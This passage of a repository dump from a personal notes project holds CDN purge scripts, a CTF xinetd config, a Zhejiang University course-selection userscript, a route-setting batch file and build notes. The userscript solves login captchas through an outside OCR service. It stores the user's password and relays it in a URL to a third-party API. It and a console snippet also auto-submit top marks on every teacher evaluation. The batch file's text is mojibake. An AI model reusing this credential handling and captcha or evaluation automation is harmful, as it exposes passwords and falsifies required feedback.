in config.py\")\r\n        exit(1)\r\n    if len(sys.argv)==1:\r\n        print(\"Available subcommands:\\n  purge\\n  https\")\r\n        exit(1)\r\n    if not islogin():\r\n        login(config.USERNAME,config.PASSWORD)\r\n    if sys.argv[1] == \"https\":\r\n            if sys.argv[2] in [\"show\", \"list\", \"ls\"]:\r\n                pprint(https_domain_list())\r\n            elif sys.argv[2] == \"expired\":\r\n                pprint(need_renew_list())\r\n            elif sys.argv[2] == \"renew\":\r\n                from config import renew_api\r\n                renew(renew_api, need_renew_list())\r\n    else:\r\n        if sys.argv[1]!=\"purge\":\r\n            sys.argv.insert(1, \"purge\") # for backward compatibility\r\n        if len(sys.argv)<3:\r\n            print(\"Example: python3 upyun.py purge https://py3.io/*\")\r\n            print(\"Or you can: python3 upyun.py purge https://py3.io/@.html, @ stands for *\")\r\n        else:\r\n            # you can pass @ instead of *\r\n            urls = \"\\n\".join(sys.argv[2:]).replace(\"@\", \"*\")\r\n            print(purge_rule_request(urls))\r\n    "
  },
  {
    "path": "code/upyun_purge.py",
    "content": "import datetime\r\nimport requests\r\nimport hashlib\r\n\r\ndef md5(src):\r\n    return hashlib.md5(bytes(src,encoding=\"utf-8\")).hexdigest()\r\n\r\ndef purge_api_request(URLS,BucketName,OperatorName,OperatorPassword):\r\n    urls=\"\\n\".join(URLS)\r\n    Time=datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')\r\n    sign=md5(\"%s&%s&%s&%s\"%(urls,BucketName,Time,md5(OperatorPassword)))\r\n    Auth=\"UpYun %s:%s:%s\"%(BucketName,OperatorName,sign)\r\n    headers={\"Authorization\":Auth,\"Date\":Time}\r\n    #print(\"\"\"curl -X POST http://purge.upyun.com/purge/  -H \"Authorization: %s\" -H \"Date: %s\" -F purge=\"%s\" \"\"\"%(Auth,Time,urls))\r\n    x=requests.post(\"http://purge.upyun.com/purge/\",headers=headers,files={\"purge\":\"%s\"%urls})\r\n    return x.json()\r\n\r\nif __name__==\"__main__\":\r\n    from config import *\r\n    print(purge_api_request(URLS,BucketName,OperatorName,OperatorPassword))"
  },
  {
    "path": "code/xinetd-ctf.conf",
    "content": "#注意/data/run要chmod +x，换行一定要去除\\r\nservice ctf\n{\n    disable = no\n    socket_type = stream\n    protocol    = tcp\n    wait        = no\n    user        = ctf\n    bind        = 0.0.0.0\n    server      = /data/run\n    type        = UNLISTED\n    port        = 9999\n    killafter = 60\n    seccomp_whitelist = 0 1 2 3 5 9 10 11 12 13 14 16 21 23 35 56 59 97 158 202 218 231 273\n}\n"
  },
  {
    "path": "code/zju_grs_helper.user.js",
    "content": "// ==UserScript==\r\n// @name         ZJU研究生选课助手\r\n// @namespace    http://grs.zju.edu.cn\r\n// @version      0.9\r\n// @description  在“全校开课情况查询”页面可以进入选课；整合查老师分数与评论显示；支持只显示特定校区课程；登录页面验证码自动识别；跳过验证码自动登录；自动课程评价\r\n// @author       zjuchenyuan\r\n// @match        http://grs.zju.edu.cn/*\r\n// @match        https://grs.zju.edu.cn/*\r\n// @grant        GM_xmlhttpRequest\r\n// @grant        GM_setValue\r\n// @grant        GM_getValue\r\n// @connect *\r\n// ==/UserScript==\r\nvar CONFIG_XQ=null; //配置校区\r\n//var CONFIG_XQ = \"玉泉\"\r\n// 例如将上一行取消注释则表示只显示玉泉校区的课程\r\n\r\nvar bheight = unsafeWindow.bheight;\r\nvar $ = unsafeWindow.$;\r\nvar Path = unsafeWindow.Path;\r\nfunction xk(id){ //在全校开课查询页面进入选课\r\n    console.log(id);\r\n    $.get(\"xkkcss.htm?kcbh=\"+id.slice(0, -3)+\"&kcSearch=%E6%9F%A5%E8%AF%A2\", null ,function(data){\r\n        //console.log(data);\r\n        //搜索课程Id\r\n        var re = /kcId=([^\"]+)/g;\r\n        var kcid = re.exec(data)[1];\r\n        console.log(kcid);\r\n        $.dialog({\r\n            fixed:true,\r\n            lock: true,\r\n            max: false,\r\n            width: \"1050px\",\r\n            height: bheight,\r\n            title:$.i18n.prop(\"Cultivation_BJCY\"),\r\n            content: \"url:\" +Path.getPath()+\"xkbjxxWindow.htm?kcId=\"+kcid\r\n        });\r\n    });\r\n}\r\nunsafeWindow.xk = exportFunction(xk, unsafeWindow);\r\n\r\nfunction run(){\r\n    for(var td of document.querySelectorAll(\"#lssjCxdcForm > table > tbody > tr > td:nth-child(3)\")){\r\n        if(!/<a/.test(td.innerHTML)){\r\n            var id = td.innerText;\r\n            td.innerHTML = \"<a onclick='xk(\\\"\"+id+\"\\\")'>\"+id+\"</a>\"\r\n        }\r\n    }\r\n}\r\n\r\nvar teacher_cache = {};\r\n\r\nfunction re_findall(regex, text){\r\n    var matches = new Array();\r\n    var match;\r\n    while((match = regex.exec(text)) !== null){\r\n        matches.push(match[1]);\r\n    }\r\n    return matches;\r\n}\r\n\r\nfunction chalaoshi_search(teacher_name, callback, td){ //搜索查老师\r\n    if(typeof(teacher_cache[teacher_name])!==\"undefined\") return callback(td, teacher_cache[teacher_name][0], teacher_cache[teacher_name][1], teacher_cache[teacher_name][2]);\r\n    console.log(\"chalaoshi_search\", teacher_name);\r\n    GM_xmlhttpRequest({\r\n        url:\"https://chalaoshi.qiushi.ac.cn/search?q=\"+encodeURIComponent(teacher_name),\r\n        method:\"GET\",\r\n        onload: function (response){\r\n            var html = response.responseText;\r\n            var ids = re_findall(/t\\/(\\d+)\\//g, html);\r\n            var scores = re_findall(/<h2>([^<]+)<\\/h2>/g, html);\r\n            var names = re_findall(/<h3>([^<]+)<\\/h3>/g, html);\r\n            callback(td, ids, scores, names);\r\n            teacher_cache[teacher_name] = [ids, scores, names];\r\n        }\r\n    })\r\n}\r\n\r\nfunction chalaoshi_page_extract(div, selector){\r\n    var tmp = div.querySelector(selector);\r\n    if(!tmp) return \"\";\r\n    return tmp.innerText.trim().replace(/ /g,\"\");\r\n}\r\n\r\nfunction show_chalaoshi_page(id){ //显示查老师信息，获取基本信息及评论第一页显示\r\n    GM_xmlhttpRequest({\r\n        url:\"https://chalaoshi.qiushi.ac.cn/t/\"+id+\"/\",\r\n        method:\"GET\",\r\n        onload: function (response){\r\n            var html = response.responseText;\r\n            var div=document.createElement(\"div\")\r\n            div.innerHTML = html;\r\n            var left = chalaoshi_page_extract(div, \"div.left\");\r\n            var right = chalaoshi_page_extract(div, \"div.right\");\r\n            var average_gpa = chalaoshi_page_extract(div, \"div.main > div:nth-child(2) > div\").replace(/\\n\\n/g,\"\\n\").replace(/\\n\\n/g,\"\\n\");\r\n            GM_xmlhttpRequest({\r\n                url: \"https://chalaoshi.qiushi.ac.cn/teacher/\"+id+\"/comment_list?page=0&order_by=rate\",\r\n                method:\"GET\",\r\n                onload: function (response){\r\n                    var tmp = response.responseText;\r\n                    var html;\r\n                    if(tmp){\r\n                        html = tmp.replace(/class=\"hidden\"/g,\"\").replace(/>举报</g,\"><\");\r\n                    }else{\r\n                        html = \"no comments\";\r\n                    }\r\n                    var api = frameElement.api, W = api.opener;\r\n                    W.$.dialog({\r\n                        lock: true,\r\n                        max: true,\r\n                        parent: api,\r\n                        width:800 ,\r\n                        title:null,\r\n                        content: \"<pre>\"+left+\"\\n\\n\"+right+\"\\n\\n\"+average_gpa+\"</pre><div style='padding-left:30px'>\"+html+\"</div>\",\r\n                    });\r\n                }\r\n            });\r\n        }\r\n    })\r\n}\r\n\r\nunsafeWindow.show_chalaoshi_page = exportFunction(show_chalaoshi_page, unsafeWindow);\r\n\r\nfunction callback_modify_teacher_td(td, ids, scores, names){\r\n    var r = td.innerText;\r\n    for(var i=0; i<ids.length; i++){\r\n        if(names[i]!=td.innerText) continue;\r\n        r += \"<a onclick='show_chalaoshi_page(\"+ids[i]+\")'>\"+scores[i]+\"</a>&nbsp;\";\r\n    }\r\n    td.innerHTML = r;\r\n}\r\n\r\nfunction test_chalaoshi(){\r\n    for(var td of document.querySelectorAll(\"#classTable > tbody > tr > td:nth-child(3)\")){\r\n        if(/<a/.test(td.innerHTML)) continue;\r\n        chalaoshi_search(td.innerText, callback_modify_teacher_td, td);\r\n    }\r\n}\r\n\r\n/* 验证码识别模块CAPTCHA_RECOGNIZE 配置项如下\r\n * ENDPOINT: api地址\r\n * IMG_SELECTOR: 验证码图片selector\r\n * CAPTCHA_INPUT: 验证码识别后填入的input标签selector\r\n */\r\n\r\nvar CONFIG_CAPTCHA = {\r\n    \"ENDPOINT\": \"https://api.py3.io/ocr\",\r\n    \"IMG_SELECTOR\": \"#yzmImg\",\r\n    \"CAPTCHA_INPUT\": \"#authcode\",\r\n    \"ALLOW_RETRY\": 3,\r\n}\r\n\r\nfunction getBase64Image(img) {\r\n    var canvas = document.createElement(\"canvas\");\r\n    canvas.width = img.naturalWidth;\r\n    canvas.height = img.naturalHeight;\r\n    var ctx = canvas.getContext(\"2d\");\r\n    ctx.drawImage(img, 0, 0);\r\n    var dataURL = canvas.toDataURL(\"image/png\");\r\n    return dataURL.replace(/^data:image\\/(png|jpg);base64,/, \"\");\r\n}\r\n\r\nfunction logimage(url){\r\n  var image = new Image();\r\n  image.onload = function() {\r\n    var style = [\r\n      'font-size: 1px;',\r\n      'line-height: ' + this.height + 'px;',\r\n      'padding: ' + this.height * .5 + 'px ' + this.width * .5 + 'px;',\r\n      'background-size: ' + this.width + 'px ' + this.height + 'px;',\r\n      'background: url('+ url +');'\r\n     ].join(' ');\r\n     console.log('%c ', style);\r\n  };\r\n  image.src = url;\r\n}\r\n\r\nfunction work(img){\r\n    var postdata = getBase64Image(img);\r\n    GM_xmlhttpRequest({\r\n        method:\"POST\",\r\n        url:CONFIG_CAPTCHA[\"ENDPOINT\"],\r\n        data: \"img=\"+encodeURIComponent(postdata),\r\n        headers: {\"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\"},\r\n        responseType:\"json\",\r\n        onload: function (response) {\r\n            var data = JSON.parse(response.responseText);\r\n            logimage(\"data:image/png;base64,\"+postdata);\r\n            console.log(\"captcha recognize:\",data);\r\n            if(data[0].length==4 && data[1][0]>40){\r\n                document.querySelector(CONFIG_CAPTCHA[\"CAPTCHA_INPUT\"]).value= data[0];\r\n            }else{\r\n                if(CONFIG_CAPTCHA.ALLOW_RETRY>0){\r\n                    img.click();\r\n                    CONFIG_CAPTCHA.ALLOW_RETRY --;\r\n                }\r\n            }\r\n        }\r\n    });\r\n    document.forms[0].onsubmit=function(){\r\n        GM_setValue(\"xh\", document.querySelector(\"#username\").value);\r\n        GM_setValue(\"pwd\", document.querySelector(\"#password\").value);\r\n    }\r\n}\r\n\r\nfunction onchange(){\r\n    setTimeout(work, 100, this);\r\n}\r\n\r\nfunction wait(callback){\r\n    var img = document.querySelector(CONFIG_CAPTCHA[\"IMG_SELECTOR\"]);\r\n    if(img==null){\r\n        setTimeout(wait, 500, callback);\r\n    }else{\r\n        img.addEventListener(\"click\", onchange);\r\n        setTimeout(callback, 100, img);\r\n    }\r\n}\r\n\r\nfunction getXY(callback){\r\n    if(localStorage.getItem(\"xy\")) return callback(localStorage.getItem(\"xy\"));\r\n    $.get(\"/gl/page/student/studentBaseTwo.htm\",null,function(html){\r\n        var result = html.split(\"学院</dt>\")[1].split(\"</p>\")[0].replace('<p class=\"ml10 content w300 detail\">','').replace(/&nbsp;/g,'').trim();\r\n        localStorage.setItem(\"xy\", result);\r\n        callback(result);\r\n    })\r\n}\r\n\r\nfunction lnsjCxdc(){\r\n    var form = document.forms, i=form.length-1;\r\n    for(; i>=0; i--) {\r\n        if(/post/i.test(form[i].method)) form[i].action += \"#method-post\";\r\n    }\r\n    var is_post = location.hash.indexOf(\"#method-post\") != -1;\r\n    if(!is_post){\r\n        document.querySelector(\"#kkxn_chzn > ul > li\").insertAdjacentHTML('beforeBegin', '<li class=\"search-choice\" id=\"kkxn_chzn_c_24\"><span>2018</span></li>');\r\n        var theyear = new Date().getFullYear();\r\n        var xueqi = 12; //秋冬学期\r\n        $(\"#kckkxj_chzn > a > span\").text(\"秋冬学期\");\r\n        if(new Date().getMonth()<6) {\r\n            theyear--;\r\n            xueqi = 11; //春夏\r\n            $(\"#kckkxj_chzn > a > span\").text(\"春夏学期\");\r\n        }\r\n        $(\"[name='kkxn']\")[0].insertAdjacentHTML('afterBegin', '<option value=\"'+theyear+'\" selected=\"\">'+theyear+'</option>');\r\n        $(\"#kckkxj>option\").attr(\"selected\",false)\r\n        $(\"#kckkxj>option[value=\"+xueqi+\"]\").attr(\"selected\",true);\r\n        getXY(function(xy){\r\n            $(\"#kkyx>option\").attr(\"selected\",false);\r\n            var temp=$(\"#kkyx>option\").filter(function(){return $(this).text()==xy});\r\n            if(temp.length){\r\n                temp.attr(\"selected\", true);\r\n                $(\"#kkyx_chzn > a > span\").text(xy);\r\n                $.changePage('search')\r\n            }\r\n        });\r\n    }\r\n}\r\n\r\nfunction quicklogin(xh,password){\r\n    GM_xmlhttpRequest({\r\n        method:\"GET\",\r\n        url:\"https://m.zjuqsc.com/api/v2/jw_grs/validate?stuid=\"+encodeURIComponent(xh)+\"&pwd=\"+encodeURIComponent(password)+\"&from=qsc_mobile_android\",\r\n        responseType:\"json\",\r\n        onload: function (response) {\r\n            var data = JSON.parse(response.responseText);\r\n            console.log(data);\r\n            if(data.cli_cookie && data.cli_cookie.split(\"CASTGC=\")[1]){\r\n                document.cookie = 'CASTGC=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';\r\n                document.cookie = 'wsess=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';\r\n                document.cookie = 'JSESSIONID=;path=/cas; expires=Thu, 01 Jan 1970 00:00:01 GMT;';\r\n                document.cookie = \"CASTGC=\"+data.cli_cookie.split(\"CASTGC=\")[1].split(\";\")[0];\r\n                console.log(\"quick login success for \"+xh);\r\n                document.querySelector(\"#content > div:nth-child(2) > p:nth-child(1)\").innerText=\"[grs_helper] 自动登录成功: \"+xh;\r\n                document.querySelector(\"#content > div:nth-child(2) > blockquote > p:nth-child(1) > a\").href=\"http://grs.zju.edu.cn/py/page/student/grkcb.htm\"; //直接进入课表页面\r\n            }else{\r\n                document.querySelector(\"#content > div:nth-child(2) > p:nth-child(1)\").innerText=\"[grs_helper] sorry 自动登录失败\";\r\n            }\r\n        }\r\n    });\r\n}\r\n\r\n(function() {\r\n    'use strict';\r\n\r\n    if(document.location.pathname==\"/py/page/student/lnsjCxdc.htm\") setInterval(run,1000);\r\n    else if(document.location.pathname==\"/py/page/student/xkbjxxWindow.htm\") {\r\n        for(var note of document.querySelectorAll(\"#classTable > tbody > tr > td:nth-child(7)\")){if(/非全日制/.test(note.innerText)||/MBA/.test(note.innerText)||/MPA/.test(note.innerText)) note.parentNode.remove()}\r\n        if(typeof(CONFIG_XQ)!=\"undefined\" && CONFIG_XQ && CONFIG_XQ!=\"null\") for(var xq of document.querySelectorAll(\"#classTable > tbody > tr > td:nth-child(6)\")){if(xq.innerText!=CONFIG_XQ) xq.parentNode.remove()}\r\n        test_chalaoshi();\r\n    }\r\n    var header = document.getElementsByClassName(\"grs-header-wrap\")[0];\r\n    if(typeof(header)!=\"undefined\") header.addEventListener('mouseover',function(e) {e.stopImmediatePropagation(); e.stopPropagation(); }, true);\r\n    if(document.location.pathname==\"/cas/login\"){ //登录页面识别验证码\r\n        wait(work);\r\n    }else if(document.location.pathname==\"/py/page/student/lnsjCxdc.htm\"){\r\n        lnsjCxdc();\r\n    }else if(document.location.pathname==\"/grsinfo.html\"){//登录前页面 自动登录\r\n        if(GM_getValue(\"xh\")) {\r\n            document.querySelector(\"#content > div:nth-child(2) > p:nth-child(1)\").innerText=\"[grs_helper] 正在为您自动登录...\";\r\n            quicklogin(GM_getValue(\"xh\"),GM_getValue(\"pwd\"));\r\n        }\r\n    }else if(document.location.pathname==\"/py/page/student/jxzlpj.htm\"){\r\n        $(\"input[type=hidden][value=]\").each(function(_,x){x.value=4});\r\n        $(\"input[type=radio]\").each((_,x)=>x.click());\r\n    }\r\n})();\r\n\r\n"
  },
  {
    "path": "code/浙大教务网自动评教.txt",
    "content": "//又到了评价老师和助教的时候了，不评教就不能看课表，好烦呢~\r\n//在浏览器开发人员工具(按F12调出)的Console中复制粘贴以下代码即可全部选上非常满意，自动切换到下一位老师\r\n\r\nif (typeof(RadioButtonList1_0) != 'undefined') RadioButtonList1_0.checked=true;\r\nif (typeof(RadioButtonList2_0) != 'undefined') RadioButtonList2_0.checked=true;\r\nif (typeof(DataGrid1__ctl1_RadioButtonList3_0) != 'undefined') DataGrid1__ctl1_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl2_RadioButtonList3_0) != 'undefined') DataGrid1__ctl2_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl3_RadioButtonList3_0) != 'undefined') DataGrid1__ctl3_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl4_RadioButtonList3_0) != 'undefined') DataGrid1__ctl4_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl5_RadioButtonList3_0) != 'undefined') DataGrid1__ctl5_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl6_RadioButtonList3_0) != 'undefined') DataGrid1__ctl6_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl7_RadioButtonList3_0) != 'undefined') DataGrid1__ctl7_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl8_RadioButtonList3_0) != 'undefined') DataGrid1__ctl8_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl9_RadioButtonList3_0) != 'undefined') DataGrid1__ctl9_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl10_RadioButtonList3_0) != 'undefined') DataGrid1__ctl10_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl11_RadioButtonList3_0) != 'undefined') DataGrid1__ctl11_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl12_RadioButtonList3_0) != 'undefined') DataGrid1__ctl12_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl13_RadioButtonList3_0) != 'undefined') DataGrid1__ctl13_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl14_RadioButtonList3_0) != 'undefined') DataGrid1__ctl14_RadioButtonList3_0.checked=true;\r\nif (typeof(DataGrid1__ctl15_RadioButtonList3_0) != 'undefined') DataGrid1__ctl15_RadioButtonList3_0.checked=true;\r\nif (typeof(RadioButtonList4_0) != 'undefined') RadioButtonList4_0.checked=true;\r\nButton1.click();\r\n//删除最后一行可以不自动点击\"Button1\"，就是不自动触发“保存”按钮事件；改为Button2就是”提交\""
  },
  {
    "path": "code/读fasta文件.py",
    "content": "#coding:utf-8\r\nname = None\r\nfasta = None\r\n\r\ntry:\r\n    raw_input \r\nexcept:\r\n    raw_input = input #兼容PY3\r\n    \r\ndef handle(name,fasta):\r\n    pass#To Be Impletement Here\r\n\r\nwhile True:\r\n    try:\r\n        line=raw_input().replace(\"\\r\",\"\")\r\n    except EOFError:\r\n        handle(name,fasta)\r\n        break\r\n    if len(line)==0:\r\n        continue\r\n    if line[0]=='>':\r\n        if name is not None:\r\n            handle(name,fasta)\r\n        name=line[1:]\r\n        fasta=\"\"\r\n    else:\r\n        fasta+=line\r\n"
  },
  {
    "path": "code/静态路由设置.bat",
    "content": "@echo off&setlocal enabledelayedexpansion \r\ncls\r\n:: code by shuishui\r\ncolor 0a\r\ntitle \r\nmode con COLS=80 LINES=36\r\n:menu\r\ncls\r\nECHO.\r\nECHO                       + -- +\r\nECHO                     +      +\r\nECHO                        +-shuishui-+\r\nECHO  -------------------------------------------------------------------------\r\necho   [1]. þ̬·    [2]. ȡ̬·    [3]. IP    [0 ]. ˳ \r\nECHO  -------------------------------------------------------------------------\r\nECHO.\r\nECHO  ʾVistaԺĲϵͳҼѡùԱ!\r\nECHO. \r\n\r\n:menu2\r\nSET cho2=\r\nSET /p cho2= ѡ:\r\necho.\r\n\r\nif /i \"%cho2%\"==\"0\" (\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>[RETURN]^<^<^<^<^<^<^<^<^<^<^<\r\ngoto end\r\n)\r\n\r\nSET orderIP=ipv4\r\nnetsh interface ipv4 show config>nul 2>nul || SET orderIP=ip\r\n\r\nif /i \"%cho2%\"==\"3\" (\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[ %cho2%]^<^<^<^<^<^<^<^<^<^<^<^<^<^<\r\n@REM \"Ethernet adapter\"\r\nset orderID=%cho2%\r\nset uip= &set /a numb=0&set /a uipnum=0\r\nfor /f \"usebackq delims=: tokens=1\" %%a in (`\"ipconfig | find \"Ethernet adapter\"\"`) do (\r\ncall set uip=%%uip%%\"%%a\" \r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\n)\r\ncall set uip=%%uip:Ethernet adapter =%%\r\ncall :cchoice70\r\ncall :cchoice71 %%uip%%\r\necho.[%cho2%]\r\necho.\r\n)\r\nif /i \"%cho2%\"==\"1\" (\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[ %cho2%]^<^<^<^<^<^<^<^<^<^<^<^<^<^<\r\nset orderID=%cho2%\r\nset uip= &set uip1=&set /a uipnum=0&set /a numb=0\r\n@REM \"Ethernet adapter\"\"Default Gateway\"\r\nfor /f \"usebackq tokens=1 delims=:\" %%a in (`\"ipconfig | find \"Ethernet adapter\"\"`) do (\r\ncall set uip=%%uip%%\"%%a\" \r\n)\r\ncall set uip=%%uip:Ethernet adapter =%%\r\ncall :cchoice70 \"00\" 01\r\ncall :cchoice70\r\ncall :cchoice71 %%uip%%\r\necho.[%cho2%]\r\necho.\r\n)\r\nif /i \"%cho2%\"==\"2\" (\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[%cho2%]^<^<^<^<^<^<^<^<^<^<^<^<^<^<\r\nrem ???????????????????????????????????????????????????\r\nroute delete 10.0.0.0\r\nroute delete 210.32.0.0\r\nroute delete 210.32.128.0\r\nroute delete 222.205.0.0\r\necho.[%cho2%]\r\necho.\r\n)\r\n\r\necho.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[END]^<^<^<^<^<^<^<^<^<^<^<^<^<\r\ngoto menu2\r\n\r\n:cchoice70\r\nset uip1= \r\nif /i \"%2\"==\"01\" (\r\nif /i \"%orderID%\"==\"1\" (\r\nfor %%a in (%uip%) do (\r\nfor /f \"usebackq tokens=3\" %%i in (`\"netsh interface %orderIP% show config %%a | find \"Default Gateway:\"\"`) do (\r\ncall set uip1=%%uip1%%%%i \r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\necho.   \"Default Gateway\":%%i\r\n))))\r\nif /i \"%2\"==\"01\" (\r\nif /i \"%orderID%\"==\"1\" (\r\nif /i %uipnum% EQU 0 (\r\nfor %%a in (%uip%) do (\r\nfor /f \"usebackq tokens=2\" %%i in (`\"netsh interface %orderIP% show config %%a | find \"Ĭ:\"\"`) do (\r\ncall set uip1=%%uip1%%%%i \r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\necho.   \"Ĭ\":%%i\r\n)))\r\ncall set uip=%%uip1%%\r\ngoto end\r\n))\r\nif /i %uipnum% EQU 0 (\r\nfor /f \"usebackq tokens=1 delims=:\" %%a in (`\"ipconfig | find \"̫\"\"`) do (\r\ncall set uip=%%uip%%\"%%a\" \r\nif /i \"%orderID%\"==\"3\" (\r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\n)))\r\nset uip=%uip:̫ =%\r\nif /i %uipnum% EQU 0 (\r\nif /i \"%orderID%\"==\"1\" (\r\nfor %%a in (%uip%) do (\r\nfor /f \"usebackq tokens=2\" %%i in (`\"netsh interface %orderIP% show config %%a | find \"Ĭ:\"\"`) do (\r\ncall set uip1=%%uip1%%%%i \r\ncall set /a uipnum=%%uipnum%%+1\r\ncall echo %%uipnum%%. %%a\r\necho.   \"Ĭ\":%%i\r\n))\r\ncall set uip=%%uip1%%\r\n))\r\ngoto end\r\n\r\n:cchoice71\r\nif %uipnum% LSS 1 echo.ûҵӿڣ&goto end\r\nif %uipnum% GTR 1 (\r\necho.&echo.   ҪõĽӿڵ,˳Q\r\nset /p numb=   :\r\n) else (set numb=1)\r\nif /i \"%numb%\"==\"Q\" goto end\r\nif %numb% LSS 1 (echo.^<1Ч&goto cchoice71)\r\nif %numb% LEQ 9 (\r\nif %numb% LEQ %uipnum% (\r\ncall set uip=%%%numb%%\r\n) else (echo.^>=%uipnum%Ч&goto cchoice71)\r\n) else (echo.^>=9Ч&goto cchoice71)\r\nif /i \"%orderID%\"==\"1\" (\r\nroute -4 -p add 10.0.0.0  mask 255.0.0.0 %uip% 2>nul || ^\r\nroute -p add 10.0.0.0  mask 255.0.0.0  %uip% >nul\r\nroute -4 -p add 210.32.0.0 mask 255.255.240.0 %uip% 2>nul  || ^\r\nroute -p add 210.32.0.0  mask 255.255.240.0  %uip% >nul\r\nroute -4 -p add 210.32.128.0 mask 255.255.192.0 %uip% 2>nul || ^\r\nroute -p add 210.32.128.0  mask 255.255.192.0  %uip% >nul\r\nroute -4 -p add 222.205.0.0 mask 255.255.128.0 %uip% 2>nul  || ^\r\nroute -p add 222.205.0.0  mask 255.255.128.0  %uip% >nul\r\ngoto end)\r\n\r\nset myip=\r\nset mygateway=\r\nset mydns=10.10.0.21\r\necho.&echo.   ҪIP\r\nset /p myip=   :\r\necho.   Ҫ\r\nset /p mygateway=   :\r\necho.   ҪDNS\r\nset /p mydns=   :\r\n\r\nif /i \"%orderID%\"==\"3\" (\r\nsc start dhcp >nul 2>nul\r\nnetsh interface ip set address name=%uip% source=static addr^\r\n=%myip% mask=255.255.255.0 gateway=%mygateway% gwmetric=0 || ^\r\nnetsh interface ipv4 set address name=%uip% source=static addr^\r\n=%myip% mask=255.255.255.0 gateway=%mygateway% gwmetric=0\r\n\r\nnetsh interface ip set dns name=%uip% source=static addr=%mydns% register=PRIMARY || ^\r\nnetsh interface ipv4 set dns name=%uip% source=static addr=%mydns% register=PRIMARY\r\nsc stop dhcp >nul 2>nul\r\n)\r\ngoto end\r\n\r\n:end \r\n"
  },
  {
    "path": "compile.sh",
    "content": "#! /bin/bash\nmkdir -p mdfiles\n## 并发刷新缓存\n## 刷新又拍云缓存，代码在https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun\npython3 code/upyun.py 'https://py3.io/@' &\npython3 code/upyun.py 'https://blog.chenyuan.me/@' &\npython3 code/upyun_purge.py &\n\nfor i in *.md; do ln -f $i mdfiles/$i; done\nmkdocs build\ncd docs\nsed -i 's#https://fonts.googleapis.com/css#/assets/css/fonts.css#g' $(find -type f -name \"*.html\")\ncd ..\ncp assets/css/main.4b9ffd7b.min.css docs/assets/stylesheets/\nsed -i 's#https://d.py3.io/btc.html#<div id=\"realtimeprofit\"></div><script>function loadbtctable(){fetch(\"https://d.py3.io/btc.html?_t=\"+new Date().getTime()).then(r=>r.text()).then(function(html){document.getElementById(\"realtimeprofit\").innerHTML=html; registeronclick();})}loadbtctable();</script>#' docs/Bitcoin/index.html\n"
  },
  {
    "path": "dfsan.md",
    "content": "## DataFlow Sanitizer\r\n\r\nhttp://releases.llvm.org/8.0.0/tools/clang/docs/DataFlowSanitizer.html\r\n\r\n### Compiling Exiv2 with DFSan\r\n\r\ndfsan require all functions (including C++ libraries) to be instructed, given source code or specified ABI list. This is a tiring work, thankfully [Angora](https://github.com/AngoraFuzzer/Angora) has paved our way, which utilize dfsan to locate which bytes are related to conditional branch. So, let's start building in Angora container.\r\n\r\nIn the following steps, we will compile libcxx using dfsan first, then compile expat and zlib, finally we can build exiv2 with dfsan.\r\n\r\n```\r\n# run the container, this image is based on Ubuntu 16.04.6 LTS, and contain clang-7 and required abi list file.\r\nalias d=docker\r\nd pull zjuchenyuan/angora\r\nd run -it --privileged -v /data:/data -w /data zjuchenyuan/angora /bin/bash\r\n\r\n# create our ABI list file\r\ncd /data\r\ncat /angora/llvm_mode/build/dfsan_rt/share/dfsan_abilist.txt > mylist.txt\r\ncat /angora/llvm_mode/dfsan_rt/abilibstdc++.txt >> mylist.txt\r\n\r\n# download and compile libc++, ref: https://github.com/AngoraFuzzer/Angora/blob/master/llvm_mode/libcxx/compile.sh\r\napt install -y ninja-build\r\n\r\nLLVM_VERSION=7.0.0\r\nCUR_DIR=/data\r\nCLANG_SRC=${CUR_DIR}/llvm_src\r\n\r\nwget http://releases.llvm.org/${LLVM_VERSION}/llvm-${LLVM_VERSION}.src.tar.xz\r\nwget http://releases.llvm.org/${LLVM_VERSION}/cfe-${LLVM_VERSION}.src.tar.xz\r\nwget http://releases.llvm.org/${LLVM_VERSION}/compiler-rt-${LLVM_VERSION}.src.tar.xz\r\nwget http://releases.llvm.org/${LLVM_VERSION}/libcxx-${LLVM_VERSION}.src.tar.xz\r\nwget http://releases.llvm.org/${LLVM_VERSION}/libcxxabi-${LLVM_VERSION}.src.tar.xz\r\nwget http://releases.llvm.org/${LLVM_VERSION}/libunwind-${LLVM_VERSION}.src.tar.xz\r\nwget http://releases.llvm.org/${LLVM_VERSION}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz\r\n\r\ntar -Jxf ${CUR_DIR}/llvm-${LLVM_VERSION}.src.tar.xz \r\nmv llvm-${LLVM_VERSION}.src $CLANG_SRC\r\ncd ${CLANG_SRC}/tools\r\ntar -Jxf ${CUR_DIR}/cfe-${LLVM_VERSION}.src.tar.xz \r\nmv cfe-${LLVM_VERSION}.src clang\r\ncd ${CLANG_SRC}/tools/clang/tools\r\ntar -Jxf ${CUR_DIR}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz \r\nmv 